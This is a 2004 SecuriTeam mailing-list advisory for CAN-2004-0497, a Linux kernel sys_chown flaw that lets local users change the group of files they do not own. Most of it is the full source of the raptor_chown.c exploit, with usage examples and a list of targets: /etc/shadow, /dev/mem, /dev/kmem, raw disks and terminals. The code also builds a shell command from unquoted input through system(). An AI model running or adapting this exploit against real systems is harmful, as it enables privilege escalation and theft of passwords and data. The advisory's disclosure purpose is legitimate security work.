

Securiteam: [EXPL] Missing DAC controls in sys_chown() on Linux.

[EXPL] Missing DAC controls in sys_chown() on Linux.

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0099.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/27/04

To: list@securiteam.com

Date: 27 Dec 2004 10:36:13 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Missing DAC controls in sys_chown() on Linux.

SUMMARY

Below is an exploit for the sys_chown vulnerability in the Linux kernel.

DETAILS

Vulnerable Systems:

- * Linux versions 2.6.7-rc3 and prior

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0497>>

CAN-2004-0497

Exploit Code:

/*

* \$Id: raptor_chown.c,v 1.1 2004/12/04 14:44:38 raptor Exp \$

*

* raptor_chown.c – sys_chown missing DAC controls on Linux

* Copyright (c) 2004 Marco Ivaldi <raptor at 0xdeadbeef dot info>

*

* Unknown vulnerability in Linux kernel 2.x may allow local users to

Securiteam: [EXPL] Missing DAC controls in sys_chown() on Linux.

- * modify the group ID of files, such as NFS exported files in kernel
- * 2.4 (CAN-2004-0497).
- *
- * "Basically, you can change the group of a file you don't own, but not
- * of an SGID executable." --- Solar Designer (Odd)
- *
- * On Linux 2.6.x < 2.6.7-rc3 it's possible to change the group of files
- you
- * don't own, even on local filesystems. This may allow a local attacker
- to
- * perform a privilege escalation, e.g. through the following attack
- vectors:
- *
- * 1) Target /etc/shadow: on some distros (namely slackware 9.1 and debian
- * 3.0, probably others) the shadow group has read access to it.
- * 2) Target /dev/mem, /dev/kmem: read arbitrary memory contents.
- * 3) Target /dev/hd*, /dev/sd*: read arbitrary data stored on disks.
- * 4) Target /dev/tty*, /dev/pts*: snoop/execute arbitrary commands.
- *
- * Usage:
- * \$ gcc raptor_chown.c -o raptor_chown -Wall
- * \$./raptor_chown /etc/shadow
- * [...]
- * -rw-r----- 1 root users 500 Mar 25 12:27 /etc/shadow
- *
- * Vulnerable platforms:
- * Linux 2.2.x (on nfs exported files, should be vuln) [untested]
- * Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) [tested]
- * Linux 2.6.x < 2.6.7-rc3 (default configuration) [tested]
- */

```
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
```

```
#define INFO1 "raptor_chown.c - sys_chown missing DAC controls on Linux"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"
```

```
int main(int argc, char **argv)
{
    char cmd[256];

    /* print exploit information */
    fprintf(stderr, "%s\n%s\n", INFO1, INFO2);

    /* read command line */
    if (argc != 2) {
        fprintf(stderr, "usage: %s file_name\n", argv[0]);
        exit(1);
    }
}
```

Securiteam: [EXPL] Missing DAC controls in sys_chown() on Linux.

```
}

/* ninpou: sys_chown no jutsu! */
if (chown(argv[1], -1, getgid()) < 0) {
    switch(errno) {
        case EPERM:
            fprintf(stderr, "Error: Not vulnerable!\n");
            break;
        default:
            perror("Error");
    }
    exit(1);
}
fprintf(stderr, "Ninpou: sys_chown no jutsu!\n");

/* print some output */
sprintf(cmd, "/bin/ls -l %s", argv[1]);
system(cmd);

exit(0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:raptor@0xdeadbeef.info>

Raptor.

The original article can be found at:

<http://www.0xdeadbeef.info/exploits/raptor_chown.c>

http://www.0xdeadbeef.info/exploits/raptor_chown.c

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.